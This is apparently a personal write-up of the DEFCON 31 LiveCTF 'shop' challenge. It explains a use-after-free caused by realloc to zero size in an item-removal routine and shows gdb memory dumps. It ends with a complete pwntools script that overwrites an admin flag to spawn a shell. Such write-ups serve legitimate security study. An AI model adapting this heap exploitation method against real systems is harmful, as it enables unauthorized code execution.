DEFCON 31 LiveCTF - shop

2024-07-16T00:00:00+00:00

0x00. Introduction

[*] '/home/user/uaf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structures

struct credential {
    char is_admin;      // alignment 때문에 어차피 8바이트를 차지
    struct shelf *shelf_ptr;
    char *username;
    char *password;
    struct credential *next_cred;
}

struct shelf {
    long count;
    struct item *item_ptr;
}

struct item {
    long number;
    long price;
    char *name;
    char *description;
}

Goal

unsigned __int64 hidden_1C83()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( LOBYTE(login_info_4108->is_admin) )
    system("/bin/sh");
  else
    puts("Not an admin");
  return v1 - __readfsqword(0x28u);
}

There’s a hidden function hidden_1C83() that gets called when selecting option 7 from the menu after login. Here, if the first byte of login_info, i.e., the value of is_admin, is not 0, it spawns a shell.

0x01. Vulnerability

unsigned __int64 add_item_1357()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count + 1));
      if ( tmp )
      {
        ++shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
        memcpy(&shelf_ptr->item_ptr[shelf_ptr->count - 1], &selected, sizeof(shelf_ptr->item_ptr[shelf_ptr->count - 1]));
      }
  ...
}

unsigned __int64 remove_item_14B6()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count - 1));
      if ( tmp )
      {
        --shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
      }
      else
      {
        puts("Error removing item");
      }
  ...
}

In add_item_1357(), when an item is added, a heap chunk is allocated to item_ptr. When deleting an item in remove_item_14B6(), it reallocates by only reducing the chunk size, and when the size becomes 0, realloc() returns NULL.

However, the value of shelf_ptr->item_ptr is not initialized and remains as is, and since the freed area can be accessed when calling add_item_1357() again after deletion, there is a UAF vulnerability.

0x02. Exploit

unsigned __int64 open_account_1932()
{
  ...
      tmp = malloc(0x28uLL);
      LOBYTE(tmp->is_admin) = 0;
  ...
}

Looking at open_account_1932(), it creates an account and immediately sets is_admin to 0.

Therefore, I structured the exploit to add and then remove an item in account A, so that account B’s credential struct points to the freed area by .

open_account A
add_item 1
remove_item 0
logout
open_account B

By writing the payload in this order, I can make A’s item_ptr and B’s credential located in the same area, and

login as A
add_item 2

I thought of a scenario where after logging in as A again and adding an item, is_admin gets overwritten during the process of copying item->number, but…

# Credential of B - BEFORE
gef➤  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555500      0x00005555555593a0
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

# Credential of B - AFTER
gef➤  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555559      0x4ec540a62b019163
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

The shell dropped, so when I checked if the value was properly overwritten, it was overwritten with a meta data of freed chunk instead of item->number.

Thinking carefully, there were the following issues:

In remove_item_14B6(), realloc() returns NULL, so not only is item_ptr not initialized, but the count value also doesn’t decrease
In the process of doing add_item_1357() again, since the count value is still 1, it requests realloc() for 0x40
Not only does the size not match, but since the area where B’s credential exists has never been freed again, a completely different area gets allocated

As a result, meta data gets written during the realloc process, overwriting is_admin, and fortunately the exploit succeeds. Looks like I accidentally solved it with an unintended solution… lol

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

BINARY = "uaf"
LIBRARY = "libc.so.6"

code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x1DC7,
    'open_account' : code_base + 0x1932,
    'hidden' : code_base + 0x1C83,
}

gs = f'''
b *{bp['open_account']}
b *{bp['hidden']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def menu(s, inputs: list) :
    for i in range(len(inputs)):
        r = s.recvuntil(b': ').decode()
        if i == 0:
            print(r.split('\n')[int(inputs[i]) - 1])
        s.sendline(inputs[i].encode())
    return

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    menu(s, ['2', 'aaaa', '1111'])  # open_account of A
    menu(s, ['2', '1'])             # add_item 1
    menu(s, ['3', '0'])             # remove_item 0
    menu(s, ['5'])                  # logout
    menu(s, ['2', 'bbbb', '2222'])  # open_account of B
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'aaaa', '1111'])  # login as A
    menu(s, ['2', '2'])             # add_item 2
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'bbbb', '2222'])  # login as B
    menu(s, ['7'])                  # hidden
    s.interactive()

if __name__=='__main__':
    main()